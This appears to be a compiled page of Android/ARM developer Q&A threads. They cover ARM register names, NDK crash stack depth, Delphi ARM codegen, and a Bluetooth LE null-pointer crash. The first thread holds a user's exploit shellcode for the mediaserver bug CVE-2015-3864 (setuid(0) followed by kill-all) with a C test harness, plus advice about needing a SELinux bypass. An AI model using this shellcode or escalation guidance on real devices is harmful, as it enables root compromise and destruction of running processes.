Develop Reference

run a shellcode in the context of mediaerver in android

I write an exploit for a vulnerability in mediaserver in android(CVE-2015-3864). The goal is running a shellcode with root privilege(such as kill all processes). every steps of exploit are working as expected until it reaches the shell code(at this time the shellcode is loaded in mediaserver virtual memory and rwx permission is granted to it). Shell code is as follows:
1) e28f3001 add r3, pc, #1 ; 0x1
2) e12fff13 bx r3
3) 1b24 subs r4, r4, r4
4) 1c20 adds r0, r4, #0
5) 2717 movs r7, #23
6) df01 svc 1
7) 1a92 subs r2, r2, r2
8) 1c10 adds r0, r2, #0
9) 3801 subs r0, #1
10) 2109 movs r1, #9
11) 2725 movs r7, #37
12) df01 svc 1
lines 1 and 2 is a switch between arm mode and thumb mode. lines 3 to 6 is setuid(0) and lines 7 to 12 kill all running processes.
I debug the exploit with IDA and i found out that the shellscript executed until line 12 ( all the register have the expected values which are defined in the shellcode for example r7 is 37).
MY SPECIFIC PROBLEM IS : shellcode does not execute and has no impact on my device.
for a test case i write a program and run the shellcode as a function pointer like below:
`char *SC = "\x01\x30\x8f\xe2"
"\x13\xff\x2f\xe1"
"\x24\x1b\x20\x1c"
"\x17\x27\x01\xdf"
"\x92\x1a\x10\x1c"
"\x01\x38\x09\x21"
"\x25\x27\x01\xdf"`
`
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(SC))
(*(void(*)()) SC)()
return 0
}`
i copied this binary to /system/bin and grant exactly the same permission as mediaserver has. i run the binary with su permission and it works! all the processes were killed.
MY SPECIFIC QUESTION IS : Why shellcode can not be executed in the context of mediaserver but it can be executed independently?
please help, i really stuck in this state! if the question is unclear, feedback me to explain it more.
thank in advance

I think you need to elevate the privilege of mediaserver(user media) for kill all process(then you need another vulnerability). There is another problem due to SELinux sandbox restrictions this means that the mediaserver process whe exploit libstagefright is protected by SELinux policy and the code execution takes place in a restrictive sandbox. In other word you should be find a way for SELinux bypass, in nccgroup presentation you can find more details.
See also this good paper

Android CPU register names?

This code fragment is extracted from an Android crash report on a Samsung Tab S:
Build fingerprint: 'samsung/chagallwifixx/chagallwifi:5.0.2/LRX22G/T800XXU1BOCC:user/release-keys'
Revision: '7'
ABI: 'arm'
r0 a0d840bc r1 a0dcb880 r2 00000001 r3 a0d840bc
r4 a0dc3c4c r5 00000000 r6 a066d200 r7 00000000
r8 32d68f40 r9 a0c359a8 sl 00000014 fp bef3ba84
ip a0dc3fb8 sp bef3ba10 lr a0c35a0c pc a0c34bc8 cpsr 400d0010
r0 through r9 are pretty clearly general purpose registers, sp (r13) is the stack pointer, and pc (r15) is the program counter (instruction pointer). Referring to the Wikipedia's ARM Architecture page Registers section (one of many pages I looked through), I find that lr (r14) is the link register, and cpsr is the "Current Program Status Register."
I would like to know what sl (r10), fp (r11) and ip (r12) are. I expect ip is not the "instruction pointer" because that function is done by pc (r15).
Is there a reference document I haven't found that illustrates these names?

The current ARM EABI procedure call standard outlines the standard 'special' names for r12-r15:
PC (r15): Program counter
LR (r14): Link register
SP (r13): Stack pointer
IP (r12): Intra-procedure scratch register*
The GNU tools also still support names from the deprecated legacy APCS as identifiers for the given register numbers, even though they no longer necessarily have any meaning:
FP (r11): Frame pointer - may still be true for ARM code; Thumb code tends to keep actual frame pointers in r7, and of course the code may be compiled without frame pointers at all, in which cases "fp" is just another callee-saved general register.
SL (r10): Stack limit - I don't actually know the history of that one, but in most modern code r10 is no more special than r4-r8.
Note that r9 is not necessarily a general-purpose register - the EABI reserves it for platform-specific purposes. Under linux-gnueabi it's nothing special, but other platforms may use it for special purposes like a TLS or global object table pointer, so it may also go by SB (static base) or TR (thread register).
* The story behind that the limited range of the PC-relative branch instructions - if the linker finds the target of a call ends up more than 32MB away, it may generate a veneer (some extra instructions within range of the call site) as the branch target, that computes the real address and performs an absolute branch, for which it may need a scratch register.

How do I get more call stack depth in crash dumps on Android?

I have some code in C++ that uses NDK. When a crash occurs in the C++ code (on device; not through emulator), I get a tombstone (crash dump), that contains a call stack that is always 2 levels deep:
I/DEBUG ( 5089): pid: 5048, tid: 5062 >>> com.example.site <<<
I/DEBUG ( 5089): #00 pc 0059e08c /data/data/com.example.site/lib/libexample.so (_ZNK10MyNamespaceAPI11MyClass12GetDataEv)
I/DEBUG ( 5089): #01 lr 5bc9ef2c /data/data/com.example.site/lib/libexample.so
I/DEBUG ( 5089): 5cc6e764 5bce3070 /data/data/com.example.site/lib/libexample.so
I/DEBUG ( 5089): 5cc6e774 5bce309c /data/data/com.example.site/lib/libexample.so
I/DEBUG ( 5089): 5cc6e784 5bce2af4 /data/data/com.example.site/lib/libexample.so
I/DEBUG ( 5089): 5cc6e788 5c27ea9c /data/data/com.example.site/lib/libexample.so
Is there a way to configure my app or Android to provide more detail and depth in the call stack printed to the crash dump? What actually determines this? I've seen some examples where people get up to 15 levels of call stack depth.

The backtrace mechanism, which has evolved over the past few years, shows as many frames as it is able to find (up to a fixed limit of 32, IIRC). It will stop early if something prevents it from walking any farther up the stack.
The call mechanism on ARM puts the return address in the link register (LR), but the compiler is allowed to spill that onto the stack. For "noreturn" functions it technically doesn't have to set it at all. There are assembler pseudo-ops that add meta-data that help unwinders figure out where the return address can be found, and in the more recent versions of Android that should all work.
When you get a two-deep stack trace, it means that unwinding has failed on the current method, and it can only show you the value of the program counter (PC) and the value that happens to be in LR.
Make sure you're compiling with -g to enable debugging.
Is the failing function called directly from JNI? In some older versions of Android the trace would stop at the JNI call bridge because of the way the code was structured, though that was fixed in Dalvik back in 2011. Recent devices use Art, though, which I expect has a different way of doing things.
Similar question here.

How to affect Delphi XEx code generation for Android/ARM targets?

Update 2017-05-17. I no longer work for the company where this question originated, and do not have access to Delphi XEx. While I was there, the problem was solved by migrating to mixed FPC+GCC (Pascal+C), with NEON intrinsics for some routines where it made a difference. (FPC+GCC is highly recommended also because it enables using standard tools, particularly Valgrind.) If someone can demonstrate, with credible examples, how they are actually able to produce optimized ARM code from Delphi XEx, I'm happy to accept the answer.
Embarcadero's Delphi compilers use an LLVM backend to produce native ARM code for Android devices. I have large amounts of Pascal code that I need to compile into Android applications and I would like to know how to make Delphi generate more efficient code. Right now, I'm not even talking about advanced features like automatic SIMD optimizations, just about producing reasonable code. Surely there must be a way to pass parameters to the LLVM side, or somehow affect the result? Usually, any compiler will have many options to affect code compilation and optimization, but Delphi's ARM targets seem to be just "optimization on/off" and that's it.
LLVM is supposed to be capable of producing reasonably tight and sensible code, but it seems that Delphi is using its facilities in a weird way. Delphi wants to use the stack very heavily, and it generally only utilizes the processor's registers r0-r3 as temporary variables. Perhaps the craziest of all, it seems to be loading normal 32 bit integers as four 1-byte load operations. How to make Delphi produce better ARM code, and without the byte-by-byte hassle it is making for Android?
At first I thought the byte-by-byte loading was for swapping byte order from big-endian, but that was not the case, it is really just loading a 32 bit number with 4 single-byte loads.* It might be to load the full 32 bits without doing an unaligned word-sized memory load. (whether it SHOULD avoid that is another thing, which would hint to the whole thing being a compiler bug)*
Let's look at this simple function:
function ReadInteger(APInteger : PInteger) : Integer;
begin
Result := APInteger^;
end;
Even with optimizations switched on, Delphi XE7 with update pack 1, as well as XE6, produce the following ARM assembly code for that function:
Disassembly of section .text._ZN16Uarmcodetestform11ReadIntegerEPi:
00000000 <_ZN16Uarmcodetestform11ReadIntegerEPi>:
0: b580 push {r7, lr}
2: 466f mov r7, sp
4: b083 sub sp, #12
6: 9002 str r0, [sp, #8]
8: 78c1 ldrb r1, [r0, #3]
a: 7882 ldrb r2, [r0, #2]
c: ea42 2101 orr.w r1, r2, r1, lsl #8
10: 7842 ldrb r2, [r0, #1]
12: 7803 ldrb r3, [r0, #0]
14: ea43 2202 orr.w r2, r3, r2, lsl #8
18: ea42 4101 orr.w r1, r2, r1, lsl #16
1c: 9101 str r1, [sp, #4]
1e: 9000 str r0, [sp, #0]
20: 4608 mov r0, r1
22: b003 add sp, #12
24: bd80 pop {r7, pc}
Just count the number of instructions and memory accesses Delphi needs for that. And constructing a 32 bit integer from 4 single-byte loads... If I change the function a little bit and use a var parameter instead of a pointer, it is slightly less convoluted:
Disassembly of section .text._ZN16Uarmcodetestform14ReadIntegerVarERi:
00000000 <_ZN16Uarmcodetestform14ReadIntegerVarERi>:
0: b580 push {r7, lr}
2: 466f mov r7, sp
4: b083 sub sp, #12
6: 9002 str r0, [sp, #8]
8: 6801 ldr r1, [r0, #0]
a: 9101 str r1, [sp, #4]
c: 9000 str r0, [sp, #0]
e: 4608 mov r0, r1
10: b003 add sp, #12
12: bd80 pop {r7, pc}
I won't include the disassembly here, but for iOS, Delphi produces identical code for the pointer and var parameter versions, and they are almost but not exactly the same as the Android var parameter version.
Edit: to clarify, the byte-by-byte loading is only on Android. And only on Android, the pointer and var parameter versions differ from each other. On iOS both versions generate exactly the same code.
For comparison, here's what FPC 2.7.1 (SVN trunk version from March 2014) thinks of the function with optimization level -O2. The pointer and var parameter versions are exactly the same.
Disassembly of section .text.n_p$armcodetest_$$_readinteger$pinteger$$longint:
00000000 <P$ARMCODETEST_$$_READINTEGER$PINTEGER$$LONGINT>:
0: 6800 ldr r0, [r0, #0]
2: 46f7 mov pc, lr
I also tested an equivalent C function with the C compiler that comes with the Android NDK.
int ReadInteger(int *APInteger)
{
return *APInteger;
}
And this compiles into essentially the same thing FPC made:
Disassembly of section .text._Z11ReadIntegerPi:
00000000 <_Z11ReadIntegerPi>:
0: 6800 ldr r0, [r0, #0]
2: 4770 bx lr

We are investigating the issue. In short, it depends on the potential mis-alignment (to 32 boundary) of the Integer referenced by a pointer. Need a little more time to have all of the answers... and a plan to address this.
Marco Cantù, moderator on Delphi Developers
Also reference Why are the Delphi zlib and zip libraries so slow under 64 bit? as Win64 libraries are shipped built without optimizations.
In the QP Report: RSP-9922
Bad ARM code produced by the compiler, $O directive ignored?, Marco added following explanation:
There are multiple issues here:
As indicated, optimization settings apply only to entire unit files and not to individual functions. Simply put, turning optimization on and off in the same file will have no effect.
Furthermore, simply having "Debug information" enabled turns off optimization. Thus, when one is debugging, explicitly turning on optimizations will have no effect. Consequently, the CPU view in the IDE will not be able to display a disassembled view of optimized code.
Third, loading non-aligned 64bit data is not safe and does result in errors, hence the separate 4 one byte operations that are needed in given scenarios.

"Bluetooth share has stopped working" when performing LeScan

I have a bunch of various Android phones in front of me all running 4.3/4.4 and they all seem to be suffering from some bug in Bluetooth. The app I am running is simply scanning for other bluetooth devices around it using this callback: http://developer.android.com/reference/android/bluetooth/BluetoothAdapter.LeScanCallback.html
Just LogCatting the data and still having problems...
Does anyone know about this bug and have a fix for it? I really need to get bluetooth scanning stable for a deadline I have tomorrow for a demo of my application...
Thanks.
EDIT: Supposedly in 4.4.3 (or 4.4.4) this was resolved. (Of course the day of our presentation for the project...did us no good). The main issue was the XML file keeping track of mac addresses growing over the size of 2000 and then crashing...a system reset would clear the xml file, thus solving the problem temporarily.

This is a bug in the Android bluetooth code which does not appear to have a resolution at present. Since other people keep finding this as well, I'm going to post what I found when tracing the problem through the bluetooth stack, even though it cannot really be applied as a resolution unless one is prepared to make major changes to an AOSP-based install.
Fundamentally, the problem is a SIGSEGV in btif_config.c at find_add_node() when alloc_node() fails after hearing too many unique BTLE hardware addresses.
Informative part of stack trace
D/BtGatt.btif(22509): btif_gattc_upstreams_evt: Event 4096
D/BtGatt.btif(22509): btif_gattc_add_remote_bdaddr device added idx=1
D/BtGatt.btif(22509): btif_gattc_update_properties BLE device name=beacon len=6 dev_type=2
F/libc (22509): Fatal signal 11 (SIGSEGV) at 0x00000000 (code=1), thread 22530 (BTIF)
I/DEBUG ( 171): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG ( 171): Build fingerprint: 'google/occam/mako:4.4.2/KOT49H/937116:user/release-keys'
I/DEBUG ( 171): Revision: '11'
I/DEBUG ( 171): pid: 22509, tid: 22530, name: BTIF >>> com.android.bluetooth <<<
I/DEBUG ( 171): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 00000000
I/DEBUG ( 171): r0 ffffffff r1 00007d00 r2 00007c60 r3 74c7cf00
I/DEBUG ( 171): r4 74c7cf10 r5 00000000 r6 756f95a8 r7 7503c671
I/DEBUG ( 171): backtrace:
I/DEBUG ( 171): #00 pc 0004e68c /system/lib/hw/bluetooth.default.so
I/DEBUG ( 171): #01 pc 0004ea65 /system/lib/hw/bluetooth.default.so (btif_config_set+156)
Disassembling, the code in question is this rather obviously problematic series of clearing r5 and then attempting to de-reference it as a base pointer:
4e68a: 2500 movs r5, #0
4e68c: 6829 ldr r1, [r5, #0]
4e68e: b919 cbnz r1, 4e698 <btif_gattc_test_command_impl+0x74c>
4e690: 4630 mov r0, r6
4e692: f7dd ef78 blx 2c584 <strdup#plt>
This corresponds to the “if(!node->name)” check at the end of find_add_node()
static cfg_node* find_add_node(cfg_node* p, const char* name)
{
int i = -1;
cfg_node* node = NULL;
if((i = find_inode(p, name)) < 0)
{
if(!(node = find_free_node(p)))
{
int old_size = alloc_node(p, CFG_GROW_SIZE);
if(old_size >= 0)
{
i = GET_NODE_COUNT(old_size);
node = &p->child[i];
ADD_CHILD_COUNT(p, 1);
} /* else clause to handle failure of alloc_node() is missing here */
} else ADD_CHILD_COUNT(p, 1);
}
else node = &p->child[i];
if(!node->name) /* this will SIGSEGV if node is still NULL */
node->name = strdup(name);
return node;
}
Specifically, there is no else clause to handle the failure of alloc_node(), so when that happens (presumably due to running out of storage after hearing too many device addresses) the code falls through and attempts to dereference the name member of the node pointer without ever having set it to a non-null address.
A fix would presumably need to involve:
non-crash handling of this error case when a new record cannot be allocated
more aggressive discarding of past-heard addresses when new ones keep being heard and the number of records being stored becomes unreasonable

Someone just opened an issue: https://code.google.com/p/android/issues/detail?id=67272 . Any supporting evidence should go there and hopefully Google fixes this in next release.

This is probably a rare cause, but I had this issue when trying to use an L Tone with my Galaxy Nexus. I tried various solutions, but nothing worked, then I remembered that I installed an app (in my rooted phone) that enabled Bluetooth LE (Normally 4.3 on Galaxy Nexus doesn't have access). Once I uninstalled the files the app installed, it seems to be working fine.
So, if thing aren't working still.. ask yourself if you've done anything custom on the phone that might be conflicting.

Fix that worked for my S4 (i9500) :
After installing a custom ROM for Android 5.1.1, I started facing this 'Bluetooth stopped' issue. Since my phone was rooted, I installed 'Root Uninstaller' app and FROZE bluetooth services. I haven't had any issues after that. But again I am not sure if my bluetooth is working properly. It's just that I dont get those annoying pop-ups anymore.
Hope this helps someone !